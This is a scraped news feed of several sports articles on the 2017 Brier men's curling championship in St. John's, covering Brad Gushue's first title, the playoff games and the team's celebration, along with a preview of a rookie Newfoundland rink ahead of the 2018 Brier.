Smith’s team, made up completely of Brier rookies, has been working with Toby McDonald, the third for MacDuff’s Brier-winning team. Smith believes McDonald, who was also the coach for Team Canada skip Brad Gushue during his gold-medal run in the 2006 Olympics in Turin, Italy, is putting the team in its best position heading into its first Brier.

The Gushue effect 

“[McDonald’s] been an absolutely instrumental help to our team,” Smith said.

Smith and Gushue, a native of St. John’s, have never competed against each other despite sharing a home province. The two skips will meet for the first time in the round-robin in Regina. Gushue will skip Team Canada after winning the 2017 Brier in his hometown.

“In 2008 we hosted a Grand Slam here in St. John’s and I remember Brad Gushue actually gave me his broom after he’d been eliminated from the tournament,” Smith said over the phone from his home late Wednesday night as he packed his suitcase.

“I never ever thought that I would be playing against Brad only 10 years after that.”

The two-time provincial junior champion skip is most excited for one of the “newer” changes to championship curling — electronic hog lines, which came into the professional circuit in the early 2000s.

A red light will flash if a player fails to release a rock before the hog line, while a green light will flash if the rock is released in time.

“To get to touch the electronic handles, I mean, I’m going to be stoked … I just like seeing those green not red lights,” Smith said with a laugh.

New format

Smith will be alongside third Matthew Hunt, second Andrew Taylor, lead Ian Withycombe and coach Joe Murphy. The rink out of St. John’s is seeded 13th heading into the Brier.

They will participate in a national championship undergoing big changes. The pre-qualifier games have been replaced by a more inclusive format created by Curling Canada’s member associations. The 16 teams — made up of the 14 member associations, Team Canada and the wild-card winner — will be split into two pools for round-robin play with the top four teams from each pool advancing to the championship pool.

The remaining top four teams from that round will continue onto a page playoff to determine the 2018 champion.

The wild-card team will be determined Friday night between two Manitoba rinks, Jason Gunnlaugson and Mike McEwen. The Brier’s main draw gets underway Saturday.

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]]> https://briefnews.eu/as-brier-shakes-up-format-curlings-next-wave-prepares-to-enter-national-spotlight/feed/ 0 Team Gushue 'captured the hearts' of N.L., all of Canada at Brier https://briefnews.eu/team-gushue-captured-the-hearts-of-n-l-all-of-canada-at-brier/ https://briefnews.eu/team-gushue-captured-the-hearts-of-n-l-all-of-canada-at-brier/#respond Tue, 14 Mar 2017 20:29:08 +0000 http://briefnews.eu/team-gushue-captured-the-hearts-of-n-l-all-of-canada-at-brier/ Team Newfoundland and Labrador is celebrating its 2017 Tim Hortons Brier title win at Confederation Building today.

Skip Brad Gushue, third Mark Nichols, second Brett Gallant, and lead Geoff Walker will all be at the event, hosted by Premier Dwight Ball.

The hometown team brought the house down at Mile One Centre Sunday night, with its first-ever Brier title victory, beating Kevin Koe’s Team Canada 7-6.

Brad Gushue Brier win

Brad Gushue says he’s obviously biased, but thinks the St. John’s Brier was the best Canada has ever seen. (Ted Dillon/CBC)

“This really all started with a tweet, I think it was three or four years ago, and I just asked, why not St. John’s?” Gushue said at the celebration.

‘It is something that I’m gonna tell, it’s a story that I’m gonna tell forever.’– Mark Nichols

Once the idea of hosting the Brier in St. John’s gained momentum, and after the local bid was successfully accepted, “then my nerves set in,” said Gushue.

“The Brier was coming here and I was gonna be the face of it and we were gonna be expected to win it,” said Gushue.

He added that while he is obviously biased, he thinks this was the best Brier that Canada has ever seen.

Best years of curling career

Nichols said from the moment the team walked out to compete, the support from the community was intense.

“Stepping out on the ice at Mile One for those opening ceremonies, it is something that I’m gonna tell, it’s a story that I’m gonna tell forever,” said Nichols. “It was unbelievable to be out there.”

Mark Nichols Brier curling

Mark Nichols says the support for Team N.L. has been outstanding. (Ted Dillon/CBC)

Since returning to Team Gushue, after switching to Team Manitoba, Nichols said the last two and a half years have been the best of his curling career.

“I want to thank the guys, I guess Brad for taking me back … and then for Brett and Geoff for letting me step in at third stone.”

Gallant, originally from P.E.I., said the support in St. John’s has been unbelievable since he got a call from Gushue five or six years ago to curl with him.

Brett Gallant Brier curling

Brett Gallant says the team has been ‘over the moon’ since their Brier win. (Ted Dillon/CBC)

“What an amazing event, the support was unbelievable. We’ve just been over the moon here for the last 48 hours,” said Gallant.

“I just can’t wait to represent Newfoundland and Canada at the world championships in a couple weeks.”

Walker, meanwhile, said it’s been an “awesome” six years curling with the team.

Geoff Walker Brier curler

Geoff Walker says he’s had an awesome six years curling with the team, and hopes to bring home the world champion title as Team Canada. (Ted Dillon/CBC)

“The support of the curling community here and obviously all of the city and province has just been phenomenal,” said Walker.

He also wanted to wish the Memorial University Sea-Hawks team luck at the Mar. 18-22 Curling Canada University Championships in Thunder Bay, Ontario.

“Hopefully they can bring another national championship back to the province.”

Inspiration to young curlers

Ball said the whole province was on pins and needles all last week watching the Brier coverage, and that it was an “exceptional” week.

“This team really captured the hearts of Newfoundlanders and Labradorians, but also Canadians,” Ball said.

“You will be inspirational to the young people across this province.”

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]]> https://briefnews.eu/team-gushue-captured-the-hearts-of-n-l-all-of-canada-at-brier/feed/ 0 Brad Gushue wins 1st Brier in front of hometown crowd https://briefnews.eu/brad-gushue-wins-1st-brier-in-front-of-hometown-crowd/ https://briefnews.eu/brad-gushue-wins-1st-brier-in-front-of-hometown-crowd/#respond Mon, 13 Mar 2017 02:42:38 +0000 http://briefnews.eu/brad-gushue-wins-1st-brier-in-front-of-hometown-crowd/

Brad Gushue of Newfoundland and Labrador defeated Canada’s Kevin Koe 7-6 on Sunday night to win the Tim Hortons Brier for the first time.

After a back-and-forth affair, Gushue had hammer in the 10th end and used it to his advantage. He hit a draw for the single point to send the raucous capacity crowd at Mile One Centre into a tizzy.

Gushue threw his broom in the air in celebration when his stone moved into the eight-foot ring and just past the Canada rock for the victory.

This was Gushue’s 14th career appearance at the Brier. The 2006 Olympic champion lost in last year’s final to Koe and fell to Ontario’s Glenn Howard in the 2007 final.

Gushue is the first Newfoundlander to hoist the Brier Tankard since Jack MacDuff in 1976.

Koe was looking for his fourth career Brier crown. He also won in 2010 and 2014.

After an opening blank, the local favourites took advantage after Canada second Brent Laing flashed a stone. With Newfoundland and Labrador sitting three, Koe took one opposition stone out with his last throw but Gushue followed with a draw for a 3-0 lead.

The St. John’s side battled some injuries throughout the competition. Gushue has been somewhat limited all season due to a hip/groin issue and lead Geoff Walker is nursing a shoulder injury.

Newfoundland and Labrador vice-skip Mark Nichols frequently helped Walker and second Brett Gallant with sweeping duties. Nichols was also in form with his shooting, delivering a nice double takeout to force Koe to settle for a blank in the third end.

Koe rubbed a guard with his final throw but still scored one in the fourth. Gushue had a draw for a pair in the fifth and his St. John’s rink took a 5-1 lead into the break.

The electric atmosphere in the 6,000-seat venue was muted somewhat after Koe’s triple takeout in the sixth end made it a one-point game. Gushue attempted a double takeout in the seventh but a Canada stone caught just enough of the eight-foot for a steal.

Koe forced Gushue to hit a takeout for a single in the eighth end. In the ninth, Gushue picked out a Canada stone to lay three and forced Koe to draw for one.

McEwen downs Jacobs

Earlier in the day, Manitoba’s Mike McEwen defeated Northern Ontario’s Brad Jacobs 7-5 in an extra end to win bronze.

McEwen used his final throw to hit the Northern Ontario stone off the button for the win.

“As much as we were hurting pretty bad and weren’t playing for the colour of medal we wanted to be playing for, we still gave it our all and it mattered,” McEwen said.

McEwen, who lost the semifinal to Koe on Saturday, gave up a steal of one to Jacobs in the fourth end. The Manitoba skip reclaimed the lead with a takeout for two in the fifth.

Jacobs played a tap in the sixth to give up a steal of one as Manitoba moved ahead 4-2. A Northern Ontario hit gave Jacobs a pair in the eighth to tie the game.

McEwen drew for one in the ninth and threw a double takeout in the 10th with his last stone. Jacobs drew the eight-foot to force an extra end.

The afternoon showdown was a rematch of last year’s bronze-medal game. Jacobs defeated McEwen 7-6 in an extra end in Ottawa.

Koe and his team of Laing, lead Ben Hebert and third Marc Kennedy defeated Gushue 9-5 in last year’s gold-medal game.

This was the first time the national men’s curling championship has been played in St. John’s since 1972. A sellout crowd of 6,471 watched the final to push overall attendance to 122,592.

Gushue will represent Canada at the world men’s curling championship in Edmonton April 1-9.

The team also receives a base payout of $ 71,000 in prize money, cresting and funding. A minimum of $ 30,000 will also be awarded for additional cresting and promotional appearances and Sport Canada will award funding of $ 144,000 over two years.

Koe’s team earns $ 45,000 in prize money for winning silver. The McEwen team gets $ 35,000 and the Jacobs rink receives $ 25,000.

Gushue can secure a berth in the Dec. 2-10 Olympic Trials in Ottawa if he reaches the podium at the world championship. Koe has already locked up a spot at the Trials.

Ottawa’s Rachel Homan won the Scotties Tournament of Hearts last month in St. Catharines, Ont. Her team will represent Canada at the women’s world championship March 18-26 in Beijing.

​Live blog

Follow along for updates from the Mile One Centre.

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]]> https://briefnews.eu/brad-gushue-wins-1st-brier-in-front-of-hometown-crowd/feed/ 0 'I really believe we're ready': Brad Gushue eyes 1st Brier title https://briefnews.eu/i-really-believe-were-ready-brad-gushue-eyes-1st-brier-title/ https://briefnews.eu/i-really-believe-were-ready-brad-gushue-eyes-1st-brier-title/#respond Sun, 12 Mar 2017 15:45:35 +0000 http://briefnews.eu/i-really-believe-were-ready-brad-gushue-eyes-1st-brier-title/

ST. JOHN’S — He stood at the end of the arena a little longer on Friday night.

Brad Gushue looked out into the crowd after defeating Manitoba to clinch a spot in Sunday’s Brier final, smiling.

Cheers rained down for longer than usual. People didn’t want to leave. Gushue soaked up every second, basking in it all.

“The older you get the more you enjoy moments like this,” Gushue, 36, said. “Just seeing the amount of fans that stuck around for a couple songs. It was pretty cool.”

Gushue wanted so badly for his hometown of St. John’s to host the Brier championship again. That happened.

The people of Newfoundland and Labrador so badly wanted Gushue’s rink to play in the championship game. That also happened.

Now there’s just one more game standing in the way of a storybook ending. It’s a rematch of last year’s final, with Gushue facing defending champion Kevin Koe, a three-time Brier winner.

“I don’t believe in any destiny or anything special,” he said. “We’re ready. I really believe we’re ready. Whether we win or not, I’m not sure, but it won’t be because we’re not ready.”

Gushue has played in the Brier 14 times. He’s never won a national championship. He’s been close. Last year he lost in the final against Koe’s rink out of Calgary. But with an entire province on his side today, Gushue knows the time is now to win his first Brier title.

“When I was 25 I thought I was going to win a bunch of these, but I realize it’s a harder game over the last number of years.”

When Gushue was 25, he etched himself into the hearts and minds of many in Newfoundland and Labrador by capturing Olympic gold. Now he’s reflecting on that experience as he heads in to arguably the biggest curling game in the province’s history.

“Someone asked me the question, how does this compare to the Olympics,” said Gushue. “I said it was probably just as good or better, just because I’m older now and I appreciate it.”

‘It’d be a dream come true’

Newfoundland and Labrador’s third, Mark Nichols, has spent nearly every season of his curling career throwing stones with Gushue. He was born and raised in Labrador City and knows what this all means to the people of this province. It also means everything to him.

“All of us have grown up watching the Brier and dreaming of winning it,” Nichols said. “It’d be a dream come true.”

Nichols was also a part of that 2006 Olympic gold-medal winning team and knows what it takes to win at the highest level. Much like Gushue, Nichols feels a sense of urgency to finally get that elusive Brier title.

“The chance to win, you have to take advantage of it. We’ve been in the final before and have been on the wrong side of it,” Nichols said.

Throughout the entire week Nichols has played some of the best curling of his career. The crowd has responded to his superb shot making, roaring their approval after most of his shots. It’s made a difference for the team.

“It’s just unbelievable,” Nichols said. “We’re feeding off of them and they’re feeding off of our emotion. It kind of snowballs and when we get going you can just feel it.”

Brier legacy

Only one other time has the Brier been held in St. John’s. That came in 1972. And only one other time has a team from Newfoundland and Labrador won the championship. That came in 1976 in Regina when the team skipped by Jack MacDuff won it all.

He’s a curling legend in the province. So is Gushue. And it’s Gushue’s hope that having the Brier in St. John’s all these years later will inspire a new wave of curlers in the province.

“This Brier here has done a lot for the sporting community and certainly the curling community in St. John’s,” Gushue said.

“I think that’s the impact. I don’t think it’s our performance. It’s the show and having 6,000 people show up three times a day for eight days.”

Gushue says whatever happens tonight in the championship game, everyone on the Rock has already won because of Canada’s curling treasure being back in St. John’s.

“It’s been incredible. We’ve exposed the game to a lot of people. Hopefully we have a plan in place to capitalize on this.”

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]]> https://briefnews.eu/i-really-believe-were-ready-brad-gushue-eyes-1st-brier-title/feed/ 0 Local favourite Gushue tops McEwen to reach Brier final https://briefnews.eu/local-favourite-gushue-tops-mcewen-to-reach-brier-final/ https://briefnews.eu/local-favourite-gushue-tops-mcewen-to-reach-brier-final/#respond Sat, 11 Mar 2017 09:55:22 +0000 http://briefnews.eu/local-favourite-gushue-tops-mcewen-to-reach-brier-final/

Brad Gushue has played in the national men’s curling championship on 13 previous occasions and come up short each time.

The St. John’s skip is one win away from finally hoisting the Tim Hortons Brier tankard. And he’ll have a chance to do it on home ice to boot.

Gushue guided his Newfoundland and Labrador team to a 7-5 win over Manitoba’s Mike McEwen in the Page playoff 1-2 game on Friday evening. With the victory, he earned a direct berth into the championship game Sunday night.

“I really believe we’re ready,” Gushue said. “Whether we win or not I’m not sure, but it won’t be because we’re not ready.”

The St. John’s skip scored a deuce in the fourth end and added a steal of one in the seventh before McEwen came back with a takeout for a pair in the eighth.

Gushue peeled a Manitoba stone to score two in the ninth end. He held McEwen to a single in the 10th to the delight of a raucous sellout crowd at Mile One Centre.

“That was our best game all week,” Gushue said. “I thought we controlled it right from the get-go. We didn’t make any mistakes and we had been making a bunch all week. It was a good game with a lot of good shots.”

Koe and Jacobs in 3-4 playoff

Canada’s Kevin Koe will take on Northern Ontario’s Brad Jacobs in the Page playoff 3-4 game Saturday afternoon.

The winner will play McEwen in the evening semifinal for a berth in the championship game.

“I think this was a really good test for us to see how comfortable we are in this environment,” McEwen said. “I’ve never felt better in a big game than I have tonight.”

The playoff matchups weren’t finalized until the completion of the last round-robin draw Friday morning.

McEwen earned the top seed with a 5-2 win over Quebec’s Jean-Michel Menard. McEwen and Gushue topped the standings with 9-2 records.

Gushue, who defeated Nova Scotia’s Jamie Murphy 6-3, was seeded second since he lost to McEwen in round-robin play.

Koe beat Mike Kennedy of New Brunswick 7-6 to earn the third seed. Both Koe and Jacobs finished round-robin play at 8-3 but Jacobs was seeded fourth since he lost their head-to-head meeting.

The morning results knocked Menard and British Columbia’s John Morris (both 7-4) out of the playoff picture and eliminated the possibility of tiebreaker games.

“I think we’ve had a good test leading into [the playoffs] with a few [teams] we’ve played against like Koe and Jacobs, those were playoff atmosphere kind of games,” Gushue said. “The crowd was into it and we were into it.

“So it’s going to be very similar to that, which is good for us because we’ve done it twice.”

In the other morning game, Ontario’s Glenn Howard scored a single in the 10th end for a 6-5 win over Jamie Koe of the Northwest Territories.

It was a record 17th Brier appearance for the 54-year-old Howard, who received a standing ovation from the near-sellout crowd of 5,716 after the game.

“I was emotional there,” Howard said. “It’s pretty cool to have people recognize [what] we’ve done. Who knows, that could have been my last Brier. I have no idea.

“I know I don’t have too many left so I relished every moment and that was pretty cool to get a standing ovation from a great crowd.”

Howard, a four-time national and world champion, also holds the Brier record with 217 games played.

Saskatchewan’s Adam Casey finished round-robin play at 5-6, followed by Murphy and Howard at 4-7 and Alberta’s Brendan Bottcher at 3-8.

Kennedy and Jamie Koe were tied at 1-10. The last-place finisher is no longer relegated to the qualification round as the 2018 Brier in Regina will be expanded to 16 teams.

Nunavut, Yukon and Prince Edward Island did not advance out of this year’s qualification round. They will be included in the main draw next year as the field will be split into two pools of eight teams.

The defending champion will continue to return as Team Canada, joining Northern Ontario and the 10 provincial and three territorial representatives.

Curling Canada is expected to unveil details in the coming months on the qualification setup for the 16th team.

The 3-4 loser and semifinal loser will play for bronze on Sunday afternoon.

The Brier champion will represent Canada at the men’s world championship April 1-9 in Edmonton.

Ottawa’s Rachel Homan won the Scotties Tournament of Hearts last month in St. Catharines, Ont. Her team will represent Canada at the women’s world championship March 18-26 in Beijing.

Live blog

Follow along for updates from the Mile One Centre.

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]]> https://briefnews.eu/local-favourite-gushue-tops-mcewen-to-reach-brier-final/feed/ 0 Brier final four has a familiar look https://briefnews.eu/brier-final-four-has-a-familiar-look/ https://briefnews.eu/brier-final-four-has-a-familiar-look/#respond Fri, 10 Mar 2017 21:00:00 +0000 http://briefnews.eu/brier-final-four-has-a-familiar-look/

ST. JOHN’S — The field has been trimmed to four teams vying for this year’s Canadian men’s curling title.

Perhaps not surprisingly, it’s the same four skips that made the Brier playoffs one year ago in Ottawa. Mike McEwen, Brad Gushue, Kevin Koe and Brad Jacobs are back at it again.

Each skip is a star, and the biggest here this week is Gushue.

The pressure has been enormous on Gushue’s hometown rink representing Newfoundland and Labrador. The team has fought through that pressure to book a ticket into Friday night’s 1 vs. 2 playoff game against Manitoba.

The winner of that matchup advances directly to Sunday’s final.

“If we can win tonight it would be a bonus,” Gushue said. “There are some injuries. It would be nice for a day or two of rest. There are multiple ways to get to the final and we’re going out there to play the best we can and see what happens.”

Those injuries include Gushue’s balky hip, which he described as “adequate” right now.

“It’s improved as the week has gone on,” he said. “I’ve been getting a couple rehab sessions a day.”

In 14 appearances, Gushue has never won the Brier Tankard. He has won Olympic gold, however, and has made it to two Brier finals, including last year’s. Now he’s one win away from another appearance in the title game.

“I think we feel more comfortable out there now,” he said, “I think we’re ready.”

Standing in the way of the hometown heroes is the rink from Manitoba. By virtue of beating Gushue in the round robin, McEwen’s team out of Winnipeg placed first and will have the hammer in the first end of tonight’s game.

McEwen knows how crucial a strong start will be to quiet the St. John’s fans, who have not been shy about supporting Gushue.

“The crowd is going to be interesting tonight. It’s going to be loud,” McEwen said. “That will be something that we’ve experienced all this week and it’ll be nothing short of amazing again tonight playing in that environment.”

This is just the second Brier appearance for McEwen, who’s trying to use last year’s playoff disappointment as a motivating factor.

“I feel 100 per cent better than last year’s Brier… as far as how we’re playing and our energy levels, things like that,” he said.

Gushue is ready to get back on the ice against the team they lost to earlier this week.

“It’ll be nice to get another crack at them. Hopefully we play sharper than we did in the round robin but I like the way our team is going,” he said.

Jacobs vs. Koe

Team Canada’s Koe has learned to embrace having his back against the wall. The three-time, and defending, Brier champion has had to do things the hard way in the past, having played in the 3 vs. 4 playoff game three previous times.

He also has last year’s semifinal victory against Northern Ontario to lean on as he gets ready for a rematch with Jacobs and his rink.

“We’ve done it before,” Koe said. “We know what it takes but until you do it you don’t really know how difficult it can be.”

On the road to capturing last year’s Brier, Koe defeated McEwen, Jacobs and then Gushue in the final. When asked what the key to winning do-or-die games is, Koe didn’t have a secret to reveal.

“I don’t know that anyone knows the answer to that, but in the past we’ve found a way to bring our best and hopefully we can do it again.”

Koe and Jacobs square off Saturday afternoon in St. John’s. The winner of that game moves into the semifinal later that night against the loser of Friday night’s 1 vs. 2 game. The 2017 Brier championship final is Sunday night at the Mile One Centre.

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